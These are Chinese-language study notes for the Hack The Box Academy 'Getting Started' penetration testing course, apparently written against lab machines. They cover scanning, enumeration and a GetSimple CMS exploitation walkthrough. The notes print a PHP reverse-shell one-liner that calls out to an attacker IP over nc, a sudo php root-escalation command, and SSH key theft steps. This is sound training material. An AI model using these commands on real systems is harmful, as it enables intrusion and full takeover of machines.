介绍
信息安全概述
设置
Pentest发行版入门
保持井井有条
使用VPN连接
# openvpn academy.ovpn
# ifconfig
# netstat -rn //显示可通过VPN访问的网络
渗透基础
常用术语
基本工具
# ssh Bob@192.168.141.12
# netstat 192.168.141.12 22
练习
# netcat 178.62.13.127 32524
服务扫描
# nmap 10.129.42.253 //扫描出的端口所对应的服务并不准确,因为这是基于nmap中固定的map得出的,表示某端口通常由某服务监听
# nmap -sV -sC -p- 10.129.42.253 // -p-表示全部65535个tcp端口 //扫描出的端口对应的服务是准确的,因为是基于脚本以及指纹实时判断的
练习
网络枚举
# gobuster dir -u 10.10.10.121 -w /usr/share/dirb/wordlists/common.txt
# curl -IL https://www.inlanefreight.com
# whatweb 10.10.10.121
网站通常包含一个robots.txt文件
ctrl + u 查看网站源代码
练习
按照这个账号密码登陆即可
公共漏洞
# searchsploit openssh 7.2
练习
其实可以按上述结果中的Apache[2.4.41]和WordPress[5.6.1]来深入追查漏洞:
但用MSF对上述漏洞进行利用都无果,于是想别的方法:
发现插件后门,这个模块中的几个参数值得注意,但有些此时不太清楚是什么意思,比如filepath以及targeturi
根据info推断: 可利用该漏洞读取服务器上文件、目录资源
由此可知:filepath指的是服务器上目录,targeturi应该不太重要
Types of Shells
# nc -lvnp 1234 //netcat监听本机1234端口
# ip a
# nc 10.10.10.1 1234 //netcat监听10.10.10.1的1234端口
权限提升
# dpkg -l //查看系统上安装了哪些软件
# sudo -l //We can check what `sudo` privileges we have with the `sudo -l` command
# vim id_rsa
# chmod 600 id_rsa
# ssh user@10.10.10.10 -i id_rsa
Finally, let us discuss SSH keys. If we have read access over the `.ssh` directory for a specific user, we may read their private ssh keys found in `/home/user/.ssh/id_rsa` or `/root/.ssh/id_rsa`, and use it to log in to the server. If we can read the `/root/.ssh/` directory and can read the `id_rsa` file, we can copy it to our machine and use the `-i` flag to log in with it
请注意,在我们在机器上创建密钥后,我们在密钥上使用了命令“chmod 600 id_rsa”以将文件的权限更改为更具限制性。如果 ssh 密钥具有宽松的权限,即可能被其他人读取,则 ssh 服务器会阻止它们工作。
练习
忘记了改id_rsa权限:
这样以root用户权限ssh了:
传输文件
# cd /tmp
# python3 -m http.server 8000
# wget http://10.10.14.1:8000/linenum.sh
# curl http://10.10.14.1:8000/linenum.sh -o linenum.sh
# scp linenum.sh user@remotehost:/tmp/linenum.sh
# base64 shell -w 0
# echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell
# file test.txt //查看文件格式
攻击你的第一个盒子
Nibbles——枚举
# nmap -v -oG - // -v : 扫描信息更详细(verbose) -oG - : 文件格式?
# nmap -sV --open -oA nibbles_initial_scan 10.129.42.190 // -sV: 版本探测 -oA: 将扫描结果存入文件
# nmap -p- --open -oA nibbles_full_tcp_scan 10.129.42.190 //完整的TCP端口扫描 -p-: 全部65535个端口 --open:只显示开放的端口
# nc -nv 10.129.42.190 22 //用nc来验证nmap在相应端口探测到的服务
# nmap -sC -p 22,80 -oA nibbles_script_scan 10.129.42.190 // -sC: 运行nmap默认的脚本来探测(侵入性)
# nmap -sV --script=http-enum -oA nibbles_nmap_http_enum 10.129.42.190 //让我们nmap使用http-enum 脚本完善我们的枚举,该脚本可用于枚举常见的 Web 应用程序目录
练习
Nibbles——网络足迹
# whatweb 10.129.42.190
# curl http://10.129.42.190
# gobuster dir -u http://10.129.42.190/nibbleblog/ --wordlist /usr/share/dirb/wordlists/common.txt
# curl -s http://10.129.42.190/nibbleblog/content/private/users.xml | xmllint --format - // --format -: 用来优化输出的xml文件的格式
Nibbles——最初的立足点
练习
到网上查询"nibbleblog exploit"可以得到:nibble exploit yields this Nibbleblog File Upload Vunnerability,说明有文件上传漏洞可以利用:是否可以通过上传reverse shell代码来获取reverse shell呢?
username:admin
password:nibbles
升级到完全交互式TTY:
Nibbles——特权升级
练习
解决问题
常见的陷阱
获得帮助
下一步是什么?
下一步
知识检查
1. 枚举
收集到的信息:
1. GetSimple CMS
2. Apache[2.4.41]
登录到管理后台需要帐号密码: 可先手动尝试普通账号密码对,比如admin-admin;如果不行,则在枚举的目录中寻找相关信息
找到一个账号密码相关的页面。密码看起来加密过。
解密得密码是admin
登入到管理后台
其实看到这里的upload,想法是这个网站是可以上传文件的,那便可以上传一个含有获取reverse shell代码的.php文件。(可惜的是,好像HTB提供的这个网站的upload功能坏掉了)
说实话,这个漏洞很明显了:通过这里的upload,传入一个含有获取reverse shell代码的.php文件。可惜的是,这个按钮点不动,好像HTB提供的这个网站的upload功能坏掉了
通过upload注入reverse shell代码的这条路是走不通了,只能另辟其径
GetSimple CMS版本信息:3.3.15
在该管理页面上可枚举的信息好像已经到头了
好像也没有什么敏感子目录
2. 检索
检索GetSimple CMS 3.3.15的漏洞:
CVE-2019-11231
ehh,看起来不能在这里直接注入php代码呀。不太会利用。
发生了什么??? 明明check成功了,怎么没有拿到reverse shell? 是因为我没有用nc监听吗?还是没有配置vpn的ip?
首先排除没有用nc监听,因为提示Started reverse TCP handler on 192.168.29.68:4444,说明payload options生效了,已经在本机的4444端口监听了
好的,将lhost配置成vpn的ip以后,监听成功,成功拿到reverse shell
3. 注入
其实MSF已经帮我注入了。
手动注入如下:
还是要靠枚举找到一个位置:
我去,这里竟然有个可编辑的php文件
这不直接注入一句获取reverse shell代码并用nc监听?
# <?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ![]()10.10.14.2 9443 >/tmp/f"); ?>
竟然有权限编辑成功了!
nc开始监听:
访问一下这个.php文件以执行获取reverse shell的代码:
尼玛,有权限edit没权限查看
检查一下.php文件:
把这句权限验证中的"!"去掉再访问试试:
有权限访问.php文件了,但是nc没有监听到reverse shell,是不是获取reverse shell的代码没有执行到?
那我把获取reverse shell的代码放到权限验证之前执行
拿下!
4. 提权
已经获得初步立足点,使用Python3 pty技巧升级到伪 TTY :
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
ehhh,/usr/bin/php 指令有什么用呀? 怎么利用它来提权?
试试LinEnum.sh吧
把LinEnum.sh上传到靶机上以后运行,发现也是什么有用的信息都没检查出来
然后就在HTB的forum上找到:
成功?!
# sudo /usr/bin/php -r 'system("/bin/bash");'
// 有时候php版本低了,上面的php代码可能会报错,加转义符即可: # sudo /usr/bin/php -r 'system("\/bin\/bash");'
这条指令有什么魔力啊?
以后再研究???
要记住这条php指令可以让我们利用php指令从受限制的shell中解放出来
直捣黄龙:
继续玩玩:
root用户密码加密过,加密过的密码存放于/etc/shadow
oh no ! 这个位置的 "✳" 表示该密码失效,也就是该用户将无法使用 密码登录。
不玩了
5. 网站自身bug
关于前面提到的: HTB提供的这个网站的upload功能坏掉了
用MSF其实也可以验证这点: